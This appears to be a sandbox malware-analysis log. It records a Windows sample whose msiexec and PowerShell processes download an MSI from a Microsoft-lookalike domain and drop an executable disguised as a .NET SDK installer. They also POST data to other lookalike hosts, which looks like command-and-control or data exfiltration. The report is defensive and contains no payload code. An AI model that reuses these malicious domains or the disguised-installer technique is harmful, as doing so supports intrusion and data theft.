Source: C:\Windows\System32\msiexec.exe	File opened: y:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: w:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: u:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: s:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: q:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: o:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: m:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: k:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: i:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: g:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: e:	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: c:
Source: C:\Windows\System32\msiexec.exe	File opened: a:	Jump to behavior

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49720 -> 104.21.86.195:80

Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.113.94
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.113.94
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.113.94
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.113.94
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.254
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.28.254
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1host: ggg-logistics.comsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"upgrade-insecure-requests: 1user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7sec-fetch-site: nonesec-fetch-mode: navigatesec-fetch-user: ?1sec-fetch-dest: documentaccept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=0, i
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=6lt8uC+kTZE6A1l&MD=FrZuwvh7 HTTP/1.1host: slscr.update.microsoft.comaccept: /user-agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33
Source: global traffic	HTTP traffic detected: GET /sign/cpt.msi HTTP/1.1host: dnsg-microsoftds-data.comaccept: /user-agent: Windows Installer
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=6lt8uC+kTZE6A1l&MD=FrZuwvh7 HTTP/1.1host: slscr.update.microsoft.comaccept: /user-agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33
Source: global traffic	HTTP traffic detected: GET /sign/cpt.msi HTTP/1.1host: dnsg-microsoftds-data.comaccept: /user-agent: Windows Installer
Source: global traffic	HTTP traffic detected: GET /sign/cpt.msi HTTP/1.1host: dnsg-microsoftds-data.comaccept: /user-agent: Windows Installer
Source: global traffic	HTTP traffic detected: GET /sign/cpt.msi HTTP/1.1host: dnsg-microsoftds-data.comaccept: /user-agent: Windows Installer
Source: global traffic	HTTP traffic detected: GET /sign/cpt.msi HTTP/1.1host: dnsg-microsoftds-data.comaccept: /user-agent: Windows Installer
Source: global traffic	HTTP traffic detected: GET /sign/cpt.msi HTTP/1.1host: dnsg-microsoftds-data.comaccept: /user-agent: Windows Installer
Source: global traffic	HTTP traffic detected: GET /sign/cpt.msi HTTP/1.1host: dnsg-microsoftds-data.comaccept: /user-agent: Windows Installer
Source: global traffic	HTTP traffic detected: GET /sign/cpt.msi HTTP/1.1host: dnsg-microsoftds-data.comaccept: /user-agent: Windows Installer
Source: global traffic	HTTP traffic detected: GET /sign/cpt.msi HTTP/1.1host: dnsg-microsoftds-data.comaccept: /user-agent: Windows Installer
Source: global traffic	HTTP traffic detected: GET /sign/cpt.msi HTTP/1.1host: dnsg-microsoftds-data.comaccept: /user-agent: Windows Installer
Source: global traffic	HTTP traffic detected: GET /sign/cpt.msi HTTP/1.1host: dnsg-microsoftds-data.comaccept: /user-agent: Windows Installer
Source: global traffic	HTTP traffic detected: GET /sign/cpt.msi HTTP/1.1host: dnsg-microsoftds-data.comaccept: /user-agent: Windows Installer
Source: global traffic	HTTP traffic detected: GET /sign/cpt.msi HTTP/1.1host: dnsg-microsoftds-data.comaccept: /user-agent: Windows Installer
Source: global traffic	HTTP traffic detected: GET /sign/cpt.msi HTTP/1.1host: dnsg-microsoftds-data.comaccept: /user-agent: Windows Installer
Source: global traffic	HTTP traffic detected: GET /sign/cpt.msi HTTP/1.1host: dnsg-microsoftds-data.comaccept: /user-agent: Windows Installer
Source: global traffic	HTTP traffic detected: GET /sign/cpt.msi HTTP/1.1host: dnsg-microsoftds-data.comaccept: /user-agent: Windows Installer
Source: global traffic	HTTP traffic detected: GET /sign/cpt.msi HTTP/1.1host: dnsg-microsoftds-data.comaccept: /user-agent: Windows Installer
Source: global traffic	HTTP traffic detected: GET /sign/cpt.msi HTTP/1.1host: dnsg-microsoftds-data.comaccept: /user-agent: Windows Installer
Source: global traffic	HTTP traffic detected: GET /sign/cpt.msi HTTP/1.1host: dnsg-microsoftds-data.comaccept: /user-agent: Windows Installer
Source: global traffic	HTTP traffic detected: GET /sign/cpt.msi HTTP/1.1host: dnsg-microsoftds-data.comaccept: /user-agent: Windows Installer
Source: global traffic	HTTP traffic detected: GET /sign/cpt.msi HTTP/1.1host: dnsg-microsoftds-data.comaccept: /user-agent: Windows Installer
Source: global traffic	HTTP traffic detected: GET /sign/cpt.msi HTTP/1.1host: dnsg-microsoftds-data.comaccept: /user-agent: Windows Installer
Source: global traffic	HTTP traffic detected: GET /sign/cpt.msi HTTP/1.1host: dnsg-microsoftds-data.comaccept: /user-agent: Windows Installer
Source: global traffic	HTTP traffic detected: GET /sign/cpt.msi HTTP/1.1host: dnsg-microsoftds-data.comaccept: /user-agent: Windows Installer
Source: global traffic	HTTP traffic detected: GET /sign/cpt.msi HTTP/1.1host: dnsg-microsoftds-data.comaccept: /user-agent: Windows Installer
Source: global traffic	HTTP traffic detected: GET /sign/cpt.msi HTTP/1.1host: dnsg-microsoftds-data.comaccept: /user-agent: Windows Installer
Source: global traffic	HTTP traffic detected: GET /sign/cpt.msi HTTP/1.1host: dnsg-microsoftds-data.comaccept: /user-agent: Windows Installer
Source: global traffic	HTTP traffic detected: GET /sign/cpt.msi HTTP/1.1host: dnsg-microsoftds-data.comaccept: /user-agent: Windows Installer
Source: global traffic	HTTP traffic detected: GET /r/r4.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog
Source: global traffic	HTTP traffic detected: GET /h8xiyPNTne HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: events-data-microsoft.liveConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: ggg-logistics.com
Source: global traffic	DNS traffic detected: DNS query: dnsg-microsoftds-data.com
Source: global traffic	DNS traffic detected: DNS query: events-data-microsoft.live
Source: global traffic	DNS traffic detected: DNS query: windows-msn-cn.org

Source: unknown

HTTP traffic detected: POST /5ktzQ4gu HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Content-Type: application/octet-streamHost: windows-msn-cn.orgContent-Length: 2250Connection: Keep-Alive

Source: dotnet-sdk-8.0.408-win-x64.exe.20.dr	String found in binary or memory: http://appsyndication.org/2006/appsynapplicationd:
Source: MSI1640.tmp.12.dr	String found in binary or memory: https://dnsg-microsoftds-data.com/sign/
Source: 58adcc.rbs.12.dr	String found in binary or memory: https://dnsg-microsoftds-data.com/sign/$
Source: 58adcc.rbs.12.dr	String found in binary or memory: https://dnsg-microsoftds-data.com/sign/&
Source: ~DF98BBB0E23AFBBBE8.TMP.12.dr	String found in binary or memory: https://dnsg-microsoftds-data.com/sign/cpt.msi-1015567712311832210
Source: ~DF3D1D94328933181E.TMP.12.dr	String found in binary or memory: https://dnsg-microsoftds-data.com/sign/cpt.msi-1033227712311832210
Source: ~DF7A50F0BECDA30773.TMP.12.dr	String found in binary or memory: https://dnsg-microsoftds-data.com/sign/cpt.msi-1043537712311832210
Source: ~DF33F16A36E5D89BE5.TMP.12.dr	String found in binary or memory: https://dnsg-microsoftds-data.com/sign/cpt.msi-1053537712311832210
Source: ~DF06B2EC84FB19EF43.TMP.12.dr	String found in binary or memory: https://dnsg-microsoftds-data.com/sign/cpt.msi-1071507712311832210
Source: ~DF351ACE8053F70655.TMP.12.dr	String found in binary or memory: https://dnsg-microsoftds-data.com/sign/cpt.msi-1080877712311832210
Source: ~DFBD1424DD0C873C40.TMP.12.dr	String found in binary or memory: https://dnsg-microsoftds-data.com/sign/cpt.msi-1094787712311832210
Source: ~DF0342E85147403DCF.TMP.12.dr	String found in binary or memory: https://dnsg-microsoftds-data.com/sign/cpt.msi-1106977712311832210
Source: ~DF7558191626F94644.TMP.12.dr	String found in binary or memory: https://dnsg-microsoftds-data.com/sign/cpt.msi-1121977712311832210
Source: ~DF53E788A7273818D2.TMP.12.dr	String found in binary or memory: https://dnsg-microsoftds-data.com/sign/cpt.msi-1132127712311832210
Source: ~DFC7BB0FD8F0CD7E43.TMP.12.dr	String found in binary or memory: https://dnsg-microsoftds-data.com/sign/cpt.msi-1145097712311832210
Source: ~DF268BED1551C0C809.TMP.12.dr	String found in binary or memory: https://dnsg-microsoftds-data.com/sign/cpt.msi-1158847712311832210
Source: ~DF0C9E143A6E0CFB0A.TMP.12.dr	String found in binary or memory: https://dnsg-microsoftds-data.com/sign/cpt.msi-1170417712311832210
Source: ~DFAB4AAD2F61B7BE4C.TMP.12.dr	String found in binary or memory: https://dnsg-microsoftds-data.com/sign/cpt.msi-1180707712311832210
Source: ~DF643A85A5425C7D99.TMP.12.dr	String found in binary or memory: https://dnsg-microsoftds-data.com/sign/cpt.msi-1200547712311832210
Source: ~DF4D69041888ACABF2.TMP.12.dr	String found in binary or memory: https://dnsg-microsoftds-data.com/sign/cpt.msi-1212737712311832210
Source: ~DF82836FCB2617473A.TMP.12.dr	String found in binary or memory: https://dnsg-microsoftds-data.com/sign/cpt.msi-1225547712311832210
Source: ~DFE4AB33C0F7FE7109.TMP.12.dr	String found in binary or memory: https://dnsg-microsoftds-data.com/sign/cpt.msi-1235387712311832210
Source: ~DF187DD88DF0F443BD.TMP.12.dr	String found in binary or memory: https://dnsg-microsoftds-data.com/sign/cpt.msi-1246797712311832210
Source: ~DF4FD761B139B07E24.TMP.12.dr	String found in binary or memory: https://dnsg-microsoftds-data.com/sign/cpt.msi-1569547712311832210
Source: ~DF57915A68AEDC5C19.TMP.12.dr	String found in binary or memory: https://dnsg-microsoftds-data.com/sign/cpt.msi-915417712311832210
Source: ~DFBA32082EDF3507C6.TMP.12.dr	String found in binary or memory: https://dnsg-microsoftds-data.com/sign/cpt.msi-924627712311832210
Source: ~DF603098CE0AB0A3DF.TMP.12.dr	String found in binary or memory: https://dnsg-microsoftds-data.com/sign/cpt.msi-938227712311832210
Source: ~DF933E6C7D1787B4BD.TMP.12.dr	String found in binary or memory: https://dnsg-microsoftds-data.com/sign/cpt.msi-956667712311832210
Source: ~DFC55C3E82A18C9E62.TMP.12.dr	String found in binary or memory: https://dnsg-microsoftds-data.com/sign/cpt.msi-968377712311832210
Source: ~DF1D9183E82CF6E984.TMP.12.dr	String found in binary or memory: https://dnsg-microsoftds-data.com/sign/cpt.msi-989007712311832210
Source: ~DF1D24EE58BC56FB38.TMP.12.dr	String found in binary or memory: https://dnsg-microsoftds-data.com/sign/cpt.msi-999007712311832210
Source: ~DF7CCB8E5AD1D47800.TMP.12.dr, ~DFB7E88B44DBCADE21.TMP.12.dr, ~DFC4233ADB1102091B.TMP.12.dr, ~DFDE0BFD6B31B99776.TMP.12.dr, ~DFBED3FC6B907E192A.TMP.12.dr, ~DF863F1D80E3D3B1FB.TMP.12.dr, ~DFAD00A4388854C47C.TMP.12.dr, ~DF6A184DD7E8DDA85B.TMP.12.dr, inprogressinstallinfo.ipi.12.dr, ~DFE1576488A7C5D445.TMP.12.dr, ~DFCBDF1D6A801BECAE.TMP.12.dr, ~DF19943193402F303A.TMP.12.dr, ~DF7D5774BA7A9861C0.TMP.12.dr, ~DF33F7ADEC987DCAFC.TMP.12.dr, ~DF5BEC298C4E79E0A3.TMP.12.dr, ~DF5100A453738C1B0C.TMP.12.dr, ~DF5FF2C1F0D53A9ABC.TMP.12.dr, ~DF195C2885D470EFB1.TMP.12.dr, ~DFBFD8D217DECCA73E.TMP.12.dr, ~DFDB2E1F92C41DD8A0.TMP.12.dr, ~DFA7D7BCF0D88BB204.TMP.12.dr	String found in binary or memory: https://dnsg-microsoftds-data.com/sign/cpt.msi0C:

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49675
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.5:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.254:443 -> 192.168.2.5:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.21:443 -> 192.168.2.5:49749 version: TLS 1.2

Source: msiexec.exe

Process created: 63

System Summary

Powershell drops PE file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\dotnet-sdk-8.0.408-win-x64.exe

Jump to dropped file

Writes or reads registry keys via WMI

Source: C:\Windows\SysWOW64\systeminfo.exe

WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetStringValue

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI379E.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIADD8.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\58adca.msi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\58adca.msi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIB4DE.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIB5CA.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIB955.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIBA02.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIBD00.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIBE78.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC213.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC34D.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC7B3.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC9B7.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSICEBA.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSICF76.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID2E2.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID3DD.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID71A.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID873.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIDC9B.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIDDF3.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIE19E.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIE22B.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIE597.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIE625.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIEB75.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIECBF.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF03A.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF26E.tmp	Jump to behavior
